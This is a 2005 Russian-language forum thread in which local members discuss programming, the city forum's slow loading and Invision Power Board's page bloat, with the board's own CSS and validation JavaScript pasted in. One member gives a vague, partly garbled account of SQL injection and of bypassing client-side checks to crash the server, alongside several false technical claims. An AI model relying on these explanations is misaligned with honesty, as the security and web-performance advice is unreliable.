Версия для печати темы

Нажмите сюда для просмотра этой темы в обычном формате

Новый Черняховский Форум _ Программное обеспечение _ Программирование

Автор: fantom 18.6.2005, 7:54

Я создал эту тему, для тех, кто может и, желательно, любит программировать. Неважно, на чём, не важно что - лишь бы было желание.
Сам пишу програмки на Ассемблере, Вижл Бейсик, немного на Делфи. Не чужд серверным скриптам.
Есть куча программко-недоделок. Имеется микро-ось. В ближайшее время думаю её продолжить.

Автор: Brutall 18.6.2005, 16:27

Мля, Фантом, уважуха! Программер - это тру! Я тока на Паскале и немного C умею, ну там html, и Бейсик конечно. Мечтаю Ассемблер выучить, да чот никак не возьмусь...

Автор: fantom 18.6.2005, 22:25

Си - это руль! Весь Юних на Си стоит.
Паскаль, поскольку не детище мастдая - тоже уважаю.
Как-никак Вынь 3.11 именно на нём написан!!!
Более того, одна австралийская фирмочка в инете выложила ось на Паскале.
Видевшие, говаривают, заметно тормозит, но не виснет. smile.gif
Бейсик фриварный имею, сам себя компилит.
Хоть и Бейсик, а это уже круто!
Ассемблер, это конечно, сила.
Или сразу мощь почувствовал, или слаб. Сам в плане асма - не ас, но динамически ДЛЛ подключить и кусок памяти у жирной винды оттяпать - смогу запросто.
Эффект по скорости примерно в 1,5 раза С++ превосходит.
В объёме кода - раз в 20. Любо-дорого посмотреть.
Хотя, асм - для больших проектов - дорог.
Соотношение затрат Ассемблер-Бейсик как 30 к 1.

Автор: fantom 19.6.2005, 9:16

Смотрю на весь форум, аж на тащусь.
Каждый раз страница весом кило в 150 перекачивается.
В связи стем, что я из-под МегаФона выхожу - накладно, знаете ли.
Появилась у меня мысля - может клиент для форума сделать?
Один раз пост закачался, и если изменений не было - этот пост больше не качается. Опять же, авторизацию можно сделать автоматическую. Мессаджы перед персылкой туда-сюда можно упаковывать в zip-архив. Трафик на сервере сократится раз в 3...6 думаю. А скорость возрастёт раза в 2,5.
Какие будут предложения, товарищи модераторы/сисопы?

Автор: fantom 19.6.2005, 11:23

Я началу я обомлел, когда в зоне .com - увидел форум Черняховска.
Потом увидел приписку - GZIP включен. Во, думаю! Продвинутые челы.
А дальше пошли минусы на минусе.
> Сделано триал-версией.
Вот ведь безобразие какое! А когда срок триала истечёт чёго модер делать будет? Опять к новому хостеру в ноги падать? spiteful.gif
По поводу упаковки тоже весьма сомнения меня берут.
Страница ответа по счётчику - 50 314 байт.
По ощущению - именно столько оно и грузилось. spiteful.gif
А в теле страницы вот эта гадость висит:

>/*
>* Cascading Style Sheet(CSS 467), for Invision Power Board 2.0.0
>* Author: James A. Mathias, admin@leihu.com, http://www.1lotus.com
>* Copyright: 2004 Invision Power Services, all rights reserved
>*
>* All style attributes in alpha-numeric order starting from 0
>*
>* Red Style by Chris "priestx" Wallace, http://twol-gamers.org
>*/

Далее по тексту куча подобных комментов.
И что самое, на мой взгляд неверное - скрипт содержится в странице на стороне клиента.
Ну зачем светить внутренности сервера перед неумным, но предприимчивым юзверем? spiteful.gif
Почему бы уж тогда админам и сисопам свои имена не прописать? smile.gif))
И свои скриптовые вставки на языке тумба-ямба не делать? smile.gif))

Автор: Brutall 19.6.2005, 11:45

Цитата
Ассемблер, это конечно, сила...
Эффект по скорости примерно в 1,5 раза С++ превосходит.

Ды йопт! Я слышал, что во многих программах и играх самые узкие места, жружие много памяти и процессорного времени, на асме пишут.
Цитата
Появилась у меня мысля - может клиент для форума сделать?

А ты сможешь? Такой, чтобы по типу фидошных программ было, типа Fips или чего-нибудь такого (но не по интерфейсу, а по принципам работы!!!): включил клиент, он связался с сервером, закачал обновлённые/изменённые посты, картинки (и чтобы была опция их выключить), отключился, ты в оффлайне всё прочитал, ответил, снова включил инет и мессаги сами на форум запостились. Хотя тут проблема модерирования встанет...
Цитата
Опять же, авторизацию можно сделать автоматическую.

А на форуме она и так автоматическая, тока при авторизации в первый раз надо указать "запомнить меня", и фсё буит круто.
Цитата
Мессаджы перед персылкой туда-сюда можно упаковывать в zip-архив.

Дык их вроде и так GnuZIP'ом пакует кажись. Хотя всё равно очень толстый траффик получается, не знаю почему.

По поводу твоего последнего поста: вообще, не я этим занимался, но, насколько я понимаю в меру своего ограниченного интеллекта. триальной версией форума пользуемся, потому что бабла нет купить нормальную, насчёт качества сжатия самого сомнения мучают, а про комменты не знаю: может, из-за того, что версия триальная, нельзя их убирать? Как Schnapz появится, спросим.

Автор: fantom 19.6.2005, 17:47

> Ды йопт! Я слышал, что во многих программах и играх самые узкие места,
> жружие много памяти и процессорного времени, на асме пишут.
Вспомнию молодость бесшабашную. ZX-Spectrum - мечта идиота!
Каково было моё удивление, когда прога в бинарнике выполнялось в 58 раз быстрее, чем аналогичная на встроенном Бейсике!!!

> А ты сможешь? Такой, чтобы по типу фидошных программ было, типа Fips или
> чего-нибудь такого (но не по интерфейсу, а по принципам работы!!!):
C трудом могу предположить что такое Фипсь, но сделать могу многое. spiteful.gif

> включил клиент, он связался с сервером, закачал обновлённые/изменённые
> посты, картинки (и чтобы была опция их выключить)
Как бы к этому и клоню!

> отключился, ты в оффлайне всё прочитал, ответил, снова включил инет и
> мессаг сами на форум запостились. Хотя тут проблема модерирования
> встанет...
Да нормальные люди так и делают. spiteful.gif)))
Проблема модерирования надумана - консоль модера в клиент встроить без проблем можно. По паролю и откроется. smile.gif))

> А на форуме она и так автоматическая, тока при авторизации в первый раз надо
>указать "запомнить меня", и фсё буит круто.
Типа, тперь уже прошарил, но если кукисы удалятся, тогда как быть?
Или винду перставить?

>Дык их вроде и так GnuZIP'ом пакует кажись. Хотя всё равно очень толстый
> траффик получается, не знаю почему.
Ни хрена он не упаковывается!
Винда не понимает GZIP!

Если хостинг не Юниксовый, тогда очень даже можно поробовать.
Если нет - придётся согласовывать запросы и ответы.
Потребуется помощь перловщика на стороне сервера.

Автор: Brutall 20.6.2005, 21:58

Цитата
C трудом могу предположить что такое Фипсь, но сделать могу многое.

Так возьмёшься клиент написать? Было бы здорово!
Цитата
Типа, тперь уже прошарил, но если кукисы удалятся, тогда как быть?
Или винду перставить?

Мля, удаляцца кукисы, ну и что тут страшного? Заново залогинься, они опять появятся, и опять будет тебя автоматически логинить. Можешь проверить: нажми на главной странице "очистить кукисы", потом залогинься - всё будет ОК.
Цитата
Ни хрена он не упаковывается!
Винда не понимает GZIP!

Твою мать! А что же делать?

Автор: Snake 20.6.2005, 22:59

Цитата(fantom @ 19.06.2005 - 10:16)
В связи стем, что я из-под МегаФона выхожу - накладно, знаете ли.

*

Блин,я тож! smile.gif И грузится форум о-о-чень долго >:(,приходится Оперой ходить! А она траффик жрёт cray.gif Однозначно накладно.

Автор: fantom 20.6.2005, 23:36

> Так возьмёшься клиент написать? Было бы здорово!
Прям такой энтузиазм. spiteful.gif
У меня пока очень много вопросов по серверу.
А писать вполне возмусь. Пора Черняховск поднимать с жопы на ноги. smile.gif))

> Можешь проверить: нажми на главной странице "очистить кукисы", потом
> залогинься - всё будет ОК.
Кто бы сомневался. Но всё роавно - мелкое неудобство. spiteful.gif

> Твою мать! А что же делать?
Г-ЗИПу линуксоиды придумали. Вполне возможно, как протокол эти самые линуксоиды и реализовали под винду. А может и не дошли руки. spiteful.gif В инете примочку искать нада.

> Блин,я тож! smile.gif И грузится форум о-о-чень долго >:(,приходится Оперой
> ходить! А она траффик жрёт cray.gif Однозначно накладно.
Я Оперой уже года 2 гуляю. spiteful.gif
Как раз Опера - самый реактивный браузер из испытанных: Ослик, Опера, Мозилла, Файрфокс, Конкуэрор.

Автор: Snake 21.6.2005, 12:36

И как траффик?Ты её специально настраиваешь?

Автор: fantom 21.6.2005, 18:16

Цитата(Snake @ 21.06.2005 - 12:36)
И как траффик?Ты её специально настраиваешь?
*

Ну как?
Кеш в памяти=60 метров.
Кеш на диске=200 метров.
Обновлять документы - каждые 24 часа.
Обновлять рисунки - каждую неделю.
Использовать прокси - MyProxy+[лекарство]
Всплывающие окна - подавлять.
Картинки - не показывать.
Внедрённые картинки - не показывать.
Гиф-анимация - отключить.
Звуки не воспроизводить.

Экономия заметна невооружённым глазом.

Автор: Snake 24.6.2005, 12:46

2Fantom:Thank's ok.gif

Автор: ICEMan 24.6.2005, 13:03

Отмечаюсь тута.
НВ связи с тем, шо на пхоруме щас редко особо на мя не рассчитывайте, но... ))
В обсчем Си (Вижуал),Паскаль, Бэйс, ПХП+Мускул, ХТМЛ и всякого другого по мелочи ))

Автор: fantom 24.6.2005, 23:14

Короче, с целевой платформой, можно сказать определились. Си, Паскаль, Барсик. И почему я не удивлён? spiteful.gif
Что касается сервера http://www.chernyahovsk.com/ - траффик идёт вообще по дурному. От меня - мобила - северо-западный GSM - Питер - Стокгольм - Лондон - Россия.
В общей сложности - 16 серверов!!!
Апач-сервер 1.3 на сервере Агава.ру. Юникс.ПХП - 4.3.9 (дырявый сильно). ФронтПейдж(!!!!) 5.02. Среднее время запроса - 900 миллисекунд.
Вот такой расклад. Кто возьмётся сервер поковырять?

Автор: Iskromet 25.6.2005, 8:46

Цитата(fantom @ 25.06.2005 - 00:14)
Апач-сервер 1.3 на сервере Агава.ру. Юникс.ПХП - 4.3.9 (дырявый сильно). ФронтПейдж(!!!!) 5.02. Среднее время запроса - 900 миллисекунд.
Вот такой расклад. Кто возьмётся сервер поковырять?
*

Фантом! Я в этом, конечно ничо не "фурычу", но впечатляет твой расклад! Кстати , внизу форума есть подфорум о претензиях в работе форума. Так там и описываются "косяки" в работе, замеченные форумчанами .
Это, админ Шнапс сессию сдает! Видать и некогда сейчас ему на эту темку пообщаться! А очень было-бы интересно, я думаю! Приятно, когда знающие люди дают советы! smile.gif

Автор: fantom 25.6.2005, 9:17

Цитата(Iskromet @ 25.06.2005 - 08:46)
Фантом! Я в этом, конечно ничо не "фурычу", но впечатляет твой расклад! Кстати , внизу форума есть подфорум о претензиях в работе форума. Так там и описываются "косяки" в работе, замеченные форумчанами .
Это, админ Шнапс сессию сдает! Видать и некогда сейчас ему на эту темку пообщаться! А очень было-бы интересно, я думаю! Приятно, когда знающие люди дают советы! smile.gif
*

А фигли тут раскладывать? В инете программок навалом для подобных целей есть. А нет, так в он-лайн режиме целые службы для этого существует.
Что касается косяков - ох уж эти мне студенты. spiteful.gif))
Вся учёба моя была на косяках. smile.gif))
А диплом....
Так накосячил в 2000, что только в августе гриф секретности будет снят.
Поставил себе на комп Апач 2. Сейчас документацию читаю.
Вообще ум за разум заходит.
Ослик для мастдаевского хоста, Файрфокс - для локального Апача, а Опера для инета. Мозилка тоже стоит, изредка в инете лазю. Нет только в этом зверинце НетСкейпа и Конкуэрора. Ничего, Вот АСП Линух 10.5 куплю на рёх дисках, жирный пингвин сразу в инет отправлю гулять. До этого Мандрейк 9.2 пробовал - мой мобильник распознаёт как пальму. Как я только над ним не издевался. Что Ред Хат 9.0, что Мандрейк 9.2 - упорно мой ДжейФорс 4 считали за Ванту. Всё томозило до нельзя. С ЛайвСиДИ АСП Линух 10.0 грузанулся - о чудо! Нормально определился ТВ-тюнер, и "Гонки Тукса" на ура полетели. Короче, нтворение рук моих земляков понравилось. Если ещё сканер распознается как надо - Винда у меня будет под VM-Ware на Линуксе запускаться. smile.gif))
А не наоборот. Теоретически Cigwin можно попробовать, но полтора гига сливать по мобиле, как-то не прёт меня. %)))

Автор: Schnapz 26.6.2005, 13:30

Цитата
Какие будут предложения, товарищи модераторы/сисопы?

Выключи картинки в браузере rofl.gif
Цитата
Сделано триал-версией.
Вот ведь безобразие какое! А когда срок триала истечёт чёго модер делать будет? Опять к новому хостеру в ноги падать?

Триал форума подразумевает отсутствие официального суппорта, вот и всё spiteful.gif В остальном же функциональность ничем не ограничена.
Цитата
И что самое, на мой взгляд неверное - скрипт содержится в странице на стороне клиента.
Ну зачем светить внутренности сервера перед неумным, но предприимчивым юзверем?
Почему бы уж тогда админам и сисопам свои имена не прописать? ))
И свои скриптовые вставки на языке тумба-ямба не делать? ))

А что ж такого страшного там засвечено? shok.gif smile.gif Эти комменты - дань уважения людям, которые мутили этот сайт и ничего трогать я там не буду, как оно было, так и будет. Даже копирайты я б сказал. К примеру вот этот ссылка
Цитата
Red Style by Chris "priestx" Wallace, http://twol-gamers.org
называет автора нашего дефолтного скина. Поклацай по разным и увидишь что все скины писали разные люди.

Сам пишу на паскале, вижуал бейсике , потихоньку осваиваю пхп и си. Но очень медленно, времени нету cray.gif

Автор: fantom 26.6.2005, 16:28

Цитата(Schnapz @ 26.06.2005 - 13:30)
Выключи картинки в браузере rofl.gif
*

Мням.... Вообще-то, в Опере - картинка один раз закачалсь, и через неделю (а можно и на месяц настроить) - больше качаться не будет, к тому же, имхо, вся графика - может процентов 10% от траффика.
80% - это гоняние туда-сюда 10 раз скачанных постов.

Цитата(Schnapz @ 26.06.2005 - 13:30)
Триал форума подразумевает отсутствие официального суппорта, вот и всё spiteful.gif В остальном же функциональность ничем не ограничена.
*

Ну ладно. Пусть будет так. Но зачем на 10 килобайт в каждую странницу комментов ставить? Не хорошо.

Цитата(Schnapz @ 26.06.2005 - 13:30)
А что ж такого страшного там засвечено? shok.gif  smile.gif Эти комменты - дань уважения людям, которые мутили этот сайт и ничего трогать я там не буду, как оно было, так и будет. Даже копирайты я б сказал. К примеру вот этот ссылка  называет автора нашего дефолтного скина. Поклацай по разным и увидишь что все скины писали разные люди.
*

А страшного засвечено?
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
Настройка языка - английский. В ПХП вплоть до 5 версии - глюк с расширенным набором сиволов. Вот тебе раз.

<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
А здесь - повторное переодпределение - вот тебе два.
При поступление xml-строки на парсер - первой будет выполнена инструкция с английским языком. Времени не много, но тем не менее - это байты и время.
Это три.

Дальше привожу список комментов:
(что-то может и пропуститил)

/*
* Cascading Style Sheet(CSS 467), for Invision Power Board 2.0.0
* Author: James A. Mathias, admin@leihu.com, http://www.1lotus.com
* Copyright: 2004 Invision Power Services, all rights reserved
*
* All style attributes in alpha-numeric order starting from 0
*
* Red Style by Chris "priestx" Wallace, http://twol-gamers.org
*/

/*
* ========================================
* global element styles
* ========================================
*/

/* ================================================================================
=== */
/* ================================================================================
=== */
/* ================================================================================
=== */

/*
* ========================================
* calendar styles
* ========================================
*/


/*
* class.formtable
*
* used for tabled forms
* technically tables should not be used for form display
* but, in the case of IPB a table is easier to work with
* for the average webmaster, who has little to no CSS knowledge.
*
*/

/*
* ========================================
* new style quote and code wrappers MATT's DESIGN
* ========================================
*/

/*
* ========================================
* All New Styles
* ========================================
*/

(не правдали, совсем не много, чтобы потешить тщеславие автора, за счёт пользователей?)

Далее определения:

var text_enter_url = "Введите полный URL ссылки";
var text_enter_url_name = "Введите название сайта";
var text_enter_image = "Введите полный URL изображения";
var text_enter_email = "Введите e-mail адрес";

Определения контролов никак нельзя было покороче придумать?
или альясы, на худой конец использовать?

Вот типовой кусок сообщения:

if (MessageLength < 2)
{
errors = "Вы должны ввести текст сообщения!";
}

Что мешает злопыхателю, взять да и отредактировать эту функцию?
И тогда, можно будет не только пустое сообщение отправить, но и отправлять их, например, каждые 100 миллисекунд - автоматически.
Или ещё покруче - SQL-инекция. Слыхал про такое безобразие.
Думай, студент. spiteful.gif

Цитата(Schnapz @ 26.06.2005 - 13:30)
Сам пишу на паскале, вижуал бейсике , потихоньку осваиваю пхп и си. Но очень медленно, времени нету cray.gif
*

И за чем дело стало?
Народ порадуй!
Если Паскаль/Делфи знаешь - чё ты с Бейсиком паришься? (Си, я думаю - избыточен также).

Автор: fantom 4.7.2005, 23:46

После переезда форума, имхо, он стал ещё более тормознутый. %)))
По всему видать, переконвертация базы прошла с внедрением дополнительных таблиц. %)))
Ей Богу, аж на страшно....

Автор: Schnapz 5.7.2005, 4:08

Цитата
После переезда форума, имхо, он стал ещё более тормознутый. %)))
По всему видать, переконвертация базы прошла с внедрением дополнительных таблиц. %)))
Ей Богу, аж на страшно....

Да не было там никаких доп таблицsmile.gif Ладно, коменты повырезал все лишние, но особого прироста не видно dntknw.gif
Цитата
Что мешает злопыхателю, взять да и отредактировать эту функцию?
И тогда, можно будет не только пустое сообщение отправить, но и отправлять их, например, каждые 100 миллисекунд - автоматически.
Или ещё покруче - SQL-инекция. Слыхал про такое безобразие.
Думай, студент.

Вопрос - как злопыхатель это отредактирует? dntknw.gif И еще - как примерно эта самая sql инъекция работает? Я читал, что при ее помощи из базы достаются хэши всех паролей, и как следствие можно попасть в админку форума без особых проблем, а там уже накуролесить.

Автор: fantom 5.7.2005, 7:17

> Да не было там никаких доп таблицsmile.gif Ладно, коменты повырезал все
> лишние, но особого прироста не видно dntknw.gif
Вторая фаза ускорения - это заменить следующие вещи:

** }
**
** .activeuserposting a:link,
** .activeuserposting a:visited,
** .activeuserposting a:active,
** .activeuserposting
** {
Почему бы альясы не изобразить вот так:
{
.apsp a:link
.apsp A:vstd
}

Сокращение траффика, думаю, процентов 10 будет
Что касается, таблиц - конечно они там не возьмутся. spiteful.gif))

> Вопрос - как злопыхатель это отредактирует? dntknw.gif
Как, как? В блокноте. spiteful.gif)))

>И еще - как примерно эта самая sql инъекция работает? Я читал, что при ее
>помощи из базы достаются хэши всех паролей, и как следствие можно
>попасть
>в админку форума без особых проблем, а там уже накуролесить.

SQL-инъекция работает на базах данных на движке MySQL. Главная ошибка заключается в том, что есть глюк в обработке SQL-запросов, например непарный символ ' . В резудьтате ответная реакция сервера попросту говоря неадекватная. Можно запрос сформировать таким образом, что все таблицы вывалятся наружу. Подобрать из списка таблиц - таблицу паролей админов - плёвое дело.
Сейчас этот текст будет передан методом POST или GET. (не прямой SQL-запрос). Но судя по полям, которые передаются - это именно так.
Открываем в блокноте исходный текст страницы, правим парочку функций, на предмет недопустимого параметра (вплоть до непечатных символов), вводим один несуществующий элемент, ну и матюка можно добавить - для крысоты. Считай - сервак завален. spiteful.gif))

Автор: сергей 5.7.2005, 7:35

Цитата(fantom @ 19.06.2005 - 10:02)
В связи стем, что я из-под МегаФона выхожу - накладно, знаете ли.
*


fantom, а ты через GPRS выходишь? И каковы расценки у Вас за метр?

Автор: Schnapz 5.7.2005, 14:50

Цитата
** }
**
** .activeuserposting a:link,
** .activeuserposting a:visited,
** .activeuserposting a:active,
** .activeuserposting
** {
Почему бы альясы не изобразить вот так:
{
.apsp a:link
.apsp A:vstd
}

Хм, заменил, но я не пойму смысла операций, и почему это по-прежнему работает?? Мы же каскадный стиль мучаем, по идее нельзя нчиего в нем менять, или в нем все так хитро устроено, что оно activeuserposting и apsp воспринимает одинаково?
Цитата
Как, как? В блокноте. )))

Да понятное дело в блокноте, но как на серваче-то он это исправит? smile.gif
Цитата
Открываем в блокноте исходный текст страницы, правим парочку функций, на предмет недопустимого параметра (вплоть до непечатных символов), вводим один несуществующий элемент, ну и матюка можно добавить - для крысоты. Считай - сервак завален. ))

А нельзя ли поподробнее про это? smile.gif

Автор: fantom 5.7.2005, 19:06

Цитата(сергей @ 5.07.2005 - 07:21)
fantom, а ты через GPRS выходишь? И каковы расценки у Вас за метр?
*

Расценки на территории всего бывшего Советского Союза одинаковы - МТС - 21/17 центов.
МегаФон - 10 центов.
БиЛайн обещал с 16 июня 3 цента, но я не знаю, может это лажа. Типа, абонетская плата 10 баксов. МегаФон - 1 бакс, МТС - 3 бакса.

> Хм, заменил, но я не пойму смысла операций, и почему это по-прежнему
> работает?? Мы же каскадный стиль мучаем, по идее нельзя нчиего в нем
> менять, или в нем все так хитро устроено, что оно activeuserposting и apsp
> воспринимает одинаково?
У всякого сервака есть кеш. У МелкоМягких, для Internet Informacion Server этот кеш может достигать 5000 документов. Пока все сессии обновятся - опупеешь. С другой стороны, если CCS в корне правишь, или с помощью адимнских тулз - то везде разом меняется где встречается. команда, типа FIND ALL/REPLACE ALL. Чего тогда удивляться? Хотя сейчас посмотрел исходник - ни фига там не исправилось.

> Да понятное дело в блокноте, но как на серваче-то он это исправит? smile.gif
Ты темы не просёк. У клиента проводится проверка на ПРАВИЛЬНОСТЬ данных. Именно здесь и можно покуралесить. Именно поэтому я говорил, что скрипты на стороне клиента - это потенциально опасно.
Где можно юзверя ограничить - там нужно его ограничить.
И кстати, зачем таблицу стилей применять. Тут и ХТМЛом можно обойтись - в плане затрат дешевле будет.

> А нельзя ли поподробнее про это? smile.gif
Чего подробней то?
Например, поле требует значения ИСТИНА/ЛОЖЬ. А ты подсовываешь, после правки серверу значение ФАК АЛ ВОРЛД! Сервер наверняка стошнит.

Автор: Schnapz 5.7.2005, 23:32

Цитата
И кстати, зачем таблицу стилей применять. Тут и ХТМЛом можно обойтись - в плане затрат дешевле будет.

Не я этот форум писал, это разработчики так захотели. Да и стили у нас только для скинов сделаны, так редактировать и создавать новые гораздо удобнее, нежели тоже самое лопатить в каждом пхппшнике который надо раскрасить.
Цитата
Чего подробней то?
Например, поле требует значения ИСТИНА/ЛОЖЬ. А ты подсовываешь, после правки серверу значение ФАК АЛ ВОРЛД! Сервер наверняка стошнит.

Логично smile.gif

Автор: fantom 6.7.2005, 6:54

> Не я этот форум писал, это разработчики так захотели. Да и стили у
> нас только для скинов сделаны, так редактировать и создавать новые
> гораздо удобнее, нежели тоже самое лопатить в каждом пхппшнике
> который надо раскрасить.
Опять подход неверный. Тема, графика, типовые компоненты, типа того окна ввода, которого я пишу сейчас этот ответ - всё должно быть сделано в форме инклудов. Я не спец по ПХП, но на 110% уверен - ПХП поддерживает инклуды.
Такой инклуд скачивается один раз, и не не в форме запроса - forum/index.php?act=Post&CODE=02&f=11&t=402, так браузер никогда не будет знать, что большая часть информации будет закачиваться заново, а в виде повторного включения. Если будет знать - качать второй раз не будет.
Собственно каскадный стиль - так и задумывался. Описывается отдельно - используется везде.

> Логично smile.gif
А теперь прикинь, сколько траффика можно сохранить если оставлять на сервере вот это:

<script type="text/javascript">
<!--
var ipb_var_st = "0";
var ipb_lang_tpl_q1 = "Введите номер страницы, на которую желаете перейти";
var ipb_var_s = "";
var ipb_var_phpext = "php";
var ipb_var_base_url = "http://www.chernyahovsk.com/forum/index.php?";
var ipb_input_f = "11";
var ipb_input_t = "402";
var ipb_input_p = "";
var ipb_var_cookieid = "";
var ipb_var_cookie_domain = "";
var ipb_var_cookie_path = "/";
//-->
</script>
Кстати здесь глюк - после тега <!-- идёт скрипт который должен выполняться на сервере!!!!

<script type="text/javascript">
<!--
var MessageMax = "";
var Override = "";
var dontpassgo = 0;
MessageMax = parseInt(MessageMax);
if ( MessageMax < 0 ){
MessageMax = 0;
}

function emo_pop(){
window.open("index.php?act=legends&CODE=emoticons&s=","Legends","width=250,height=500,resizable=yes,scrollbars=yes");
}

function bbc_pop(){
window.open("index.php?act=legends&CODE=bbcode&s=","Legends","width=700,height=500,resizable=yes,scrollbars=yes");
}

function attach_pop(url){
window.open("http://www.chernyahovsk.com/forum/index.php?s=&act=Post&CODE=20&"+url,"Attachments","width=500,height=400,resizable=yes,scrollbars=yes");
}

function CheckLength(){
MessageLength = document.REPLIER.Post.value.length;
message = "";
if (MessageMax > 0){
message = "Сообщение: Максимально допустимая длина " + MessageMax + " символов.";
}
else{
message = "";
}
alert(message + " Вами использовано " + MessageLength + " символов.");
}

function ValidateForm(isMsg){
MessageLength = document.REPLIER.Post.value.length;
errors = "";

// Check for remove attachments
if ( document.REPLIER.removeattachid.value > 0 ){
okdelete = confirm("Вы действительно хотите удалить этот файл?");

if ( okdelete == true ){
return true;
}
else{
document.REPLIER.removeattachid.value = 0;
return false;
}
}

if (isMsg == 1){
if (document.REPLIER.msg_title.value.length < 2){
errors = "Необходимо ввести заголовок письма";
}
}

if (MessageLength < 2){
errors = "Вы должны ввести текст сообщения!";
}

if (MessageMax !=0){
if (MessageLength > MessageMax){
errors = "Максимально допустимая длина " + MessageMax + " символов. Текущие символы: " + MessageLength;
}
}

if (errors != "" && Override == ""){
alert(errors);
return false;
}

else{
document.REPLIER.submit.disabled = true;
return true;
}
}

function removeattach(id){
if ( id != "" ){
var Override = 1;
document.REPLIER.removeattachid.value = id;
}
}

// IBC Code stuff
var text_enter_url = "Введите полный URL ссылки";
var text_enter_url_name = "Введите название сайта";
var text_enter_image = "Введите полный URL изображения";
var text_enter_email = "Введите e-mail адрес";
var text_enter_flash = "Введите полный URL для Flash.";
var text_code = "Использование:

Код
Здесь Ваш код..
";
var text_quote = "Использование:
Цитата
Здесь Ваша Цитата..
";
var error_no_url = "Вы должны ввести URL";
var error_no_title = "Вы должны ввести название";
var error_no_email = "Вы должны ввести e-mail адрес";
var error_no_width = "Вы должны ввести ширину";
var error_no_height = "Вы должны ввести высоту";
var prompt_start = "Введите текст для форматирования";
var help_bold = "Жирный текст (alt + cool.gif";
var help_italic = "Наклонный текст (alt + i)";
var help_under = "Подчёркнутый текст (alt + u)";
var help_font = "Выбор типа шрифта";
var help_size = "Выбор размера шрифта";
var help_color = "Выбор цвета шрифта";
var help_close = "Закрытие все открытых тэгов";
var help_url = "Ввод гиперссылки (alt+ h)";
var help_img = "Изображение (alt + g) ";
var help_email = "Ввод E-mail адреса (alt + e)";
var help_quote = "Ввод Цитаты (alt + q)";
var help_list = "Создать список (alt + l)";
var help_code = "Ввод кода (alt + p)";
var help_click_close = "Нажмите на кнопку для закрытия";
var list_prompt = "Введите пункт списка. Для завершения списка, нажмите 'отмена' или оставьте очередное поле пустым";
var help_translit = "Перевод текста из латиницы в кириллицу (alt + t)";
-->
</script>
А в этом куске - слово help я бы заменил на h, в крайнем случае hlp.
Естесственно, со стороны клиента убрал бы всё на сервер.
Если что-то не так юзверь сделал - вот пусть нафиг сам страницу заново ии качает. А воообще - последние переменные - это не иначе как всплывающие подсказки. Хотя, можно было сделать и штатными средствами гипперссылки.

Автор: Schnapz 6.7.2005, 11:20

Цитата
А теперь прикинь, сколько траффика можно сохранить если оставлять на сервере вот это:

Вопрос - а куда это все вставлять нужно? smile.gif Как я понял, это вставляется в один из форумных шаблонов, но в какой именно?
Цитата
Естесственно, со стороны клиента убрал бы всё на сервер.
Если что-то не так юзверь сделал - вот пусть нафиг сам страницу заново ии качает. А воообще - последние переменные - это не иначе как всплывающие подсказки. Хотя, можно было сделать и штатными средствами гипперссылки.

Если хочешь, могу тебе просто пароли дать необходимые, сам посмотришь rolleyes.gif Я сам в этом разбираюсь только поверхностно, а чтобы понять надо время...

Автор: fantom 6.7.2005, 20:55

> Вопрос - а куда это все вставлять нужно? smile.gif Как я понял, это вставляется в
> один из форумных шаблонов, но в какой именно?

Немного лирики.
1. Всего загрузилось файлов с этой страницей целиком - 183 кило.
2. Графика - 93 кило.
3. index.htm - 68 кило(!!!)
4. Скрипты - 21 кило(!!!)

Графика, допустим, у меня в Опере один раз скачалась и стоп-машина на неделю.
Фиг с ей.
Index.htm - ну это жирный зверь!!!! Через хтмл+фреймы - всё тоже самое можно сделать в кило 15 максимум!!!
А уж скрипты..... Они должны на сервере оставаться.

Теперь оптичках.
Я не силён по *никсам.
Я тебе по мастдаевски раскажу, а принцип - непонятно кто у кого содрал.

В странице, которая отправляет данные на сервак, из активного содержимого, теоретически, должно быть только вот это:
[форма, которая отправляет данные - штатное средство для всего Веба]
<form action="forum/index.php" method="post>
...... много всяких элементов, например.....
<input type=text name="password" value="">
<input type=submit name="SendData" value="Отправить пароль">
..... далее форма закрывается.....
</form>
И НИКАКОГО КОДА НА СТОРОНЕ КЛИЕНТА!!!!
Скрипт, на нормальном сервере занимает может 0,01% выделенного 1 кванта машинного времени из 1000.
Т.е. вставок такого типа:
<script language="Phyton">
.........
</script>
быть не должно.

Например в Бейсике, кроме того, возможно такая бодяга:
<script language="VBScript" Runat="Server">
Команда RUNAT предписывает скрипту выполняться на сервере, а не у клиента.
В этом смысле, Ява отдыхает. spiteful.gif
Но не решает проблему - скриытие кода, и передача данных.
Я там уже выше указал, что код есть, который предназначен вообще для сервера, но непонятно почему - передаётся коленту. Полезность его, разумеется - ноль.
А проблема решается следующим образом.
Используются скрипты с указателем на то, что это серверный сценарий:
<!-#INCLUDE FILE="ScriptCheker"->
Приведённый синтаксис для Вжик Скрипт Басик.
Для ПХП может отличаться.
Т. е. все проверки так можно проводить на сервере. Пересылаются только данные.
Если приспособить фреймы - можно динамически данные дописывать, а не гонять за ново. Даже так CGI можно заметно сократить. Ну а exe-клиент - это вообще мило будет.
Но потребуется поддержка со стороны сервера.

> Если хочешь, могу тебе просто пароли дать необходимые, сам посмотришь
> rolleyes: Я сам в этом разбираюсь только поверхностно, а чтобы понять
> надо время...
Поверь мне на слово - сам яв этом тоже не сильно разбираюсь. И мне тоже нужно время. А его нет.
На счёт пароли, пока не надо, всё равно я очень занят, и заниматься прям сейчас не буду. Вот в отпуск пойду, тогда поковыряюсь.

Автор: Schnapz 7.7.2005, 0:16

Я в принципе понял, что ты хотел сказать, и задумка конечно отличная, но моих познаний в пхп явно недостаточно, чтобы такие штуки делать. А если траффик жалко - в самом низу форума есть ссылочка "УПРОЩЕННАЯ ВЕРСИЯ", там все не такое красиво - но экономия траффика вдвое идет, а то и больше. Самым жирным ее недостатком является то, что в ней нет формы ответа. Т.е. почитать можно, но ответить никак. Да и картинок нету.

Через 10 минут:
зы Нашёлся мод smile.gif Спасибо за напоминание! good.gif Теперь из упрощенной версии можно сообщения оставлять, а также логинится и выходить с форума.

Автор: fantom 7.7.2005, 7:26

Всего - 79 килобайт.
Графика - 18 кило.
Каскадные стили - 3 кило.
Индекс.хтм - 60 кило.
----------
Да. Это уже лучше.

Вообще, если двигло у форума не студенты первокурсники писали - названия модулей и папок должны быть в венгерской нотации - "говорящей".

Да и дока, тоже должна быть. Если не в рпм, то на сайте кодеров - точно.

Автор: fantom 14.7.2005, 7:12

